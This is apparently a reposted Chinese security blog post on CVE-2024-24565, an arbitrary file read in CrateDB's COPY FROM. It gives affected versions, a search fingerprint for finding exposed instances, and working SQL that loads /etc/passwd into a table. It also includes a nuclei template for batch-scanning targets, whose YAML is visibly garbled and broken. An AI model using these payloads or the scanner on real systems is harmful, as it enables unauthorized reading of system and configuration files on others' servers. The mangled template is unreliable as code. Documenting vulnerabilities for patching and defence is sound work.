免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
02
—
漏洞影响
受影响版本:<=5.3.8, <=5.4.7, <=5.5.3, 5.6.0
安全版本:5.3.9, 5.4.8, 5.5.4, 5.6.1
03
—
漏洞描述
CrateDB是一个开源的分布式SQL数据库,它使得实时存储和分析大量数据变得非常简单。CrateDB数据库中有一个COPYFROM函数,用于将文件数据导入到数据库表中。该功能有一个缺陷,通过身份验证的攻击者可以使用COPY FROM功能将任意文件内容导入到数据库表中。从而造成信息泄露。在5.3.9、5.4.8、5.5.4和5.6.1中对该漏洞进行了修补。
此漏洞同时也会影响CrateDB Cloud Cluster。
04
—
title="CrateDB"
05
—
漏洞复现
这是个开源项目,靶场参考官方文档搭建,项目地址如下
https://github.com/crate/crate
文档地址如下
https://cratedb.com/docs/crate/admin-ui/en/latest/
POC,其实就三条SQL语句,创建一个表,然后导入数据,然后再查询表,但由于数据库的管理页面暴露在互联网上,执行SQL语句也没有任何权限校验,所以该漏洞可以远程攻击。
CREATE TABLE info_leak(info_leak STRING);
COPY info_leak FROM '/etc/passwd' with (format='csv', header=false);
SELECT * FROM info_leak;
漏洞复现成功
另外他还有一个特殊文件/crate/config/crate.yml
06
—
批量扫描脚本
nuclei poc文件内容如下
id: CVE-2024-24565
info:
name: CrateDB数据库任意文件读取漏洞
author: fgz
severity: high
description: CrateDB是一个开源的分布式SQL数据库,它使得实时存储和分析大量数据变得非常简单。CrateDB数据库中有一个COPYFROM函数,用于将文件数据导入到数据库表中。该功能有一个缺陷,通过身份验证的攻击者可以使用COPY FROM功能将任意文件内容导入到数据库表中。从而造成信息泄露。在5.3.9、5.4.8、5.5.4和5.6.1中对该漏洞进行了修补。
metadata:
1 :
title="CrateDB" :
verified: true
variables:
table_name: "{{to_lower(rand_text_alpha(8))}}"
requests:
raw:
|+
POST /_sql?types HTTP/1.1
Host: {{Hostname}}
* :
Connection: keep-alive
application/json; charset=UTF-8 :
"CREATE TABLE {{table_name}}(info_leak STRING)"} :
|+
POST /_sql?types HTTP/1.1
Host: {{Hostname}}
* :
Connection: keep-alive
application/json; charset=UTF-8 :
"COPY {{table_name}} FROM '/etc/passwd' with (format='csv', header=false)"} :
|+
POST /_sql?types HTTP/1.1
Host: {{Hostname}}
* :
Connection: keep-alive
application/json; charset=UTF-8 :
"SELECT * FROM {{table_name}} limit 10"} :
matchers:
type: dsl
dsl:
"status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200 && contains(body_3, 'root:')"
POC在测试过程中会给数据库建表,测试完记得给表删掉,批量测试的时候修改下POC,再新增个删除测试表的请求。
07
—
修复建议
建议您更新当前系统或软件至最新版,完成漏洞的修复。
08
—
原文始发于微信公众号(AI与网安):CVE-2024-24565 CrateDB数据库任意文件读取漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论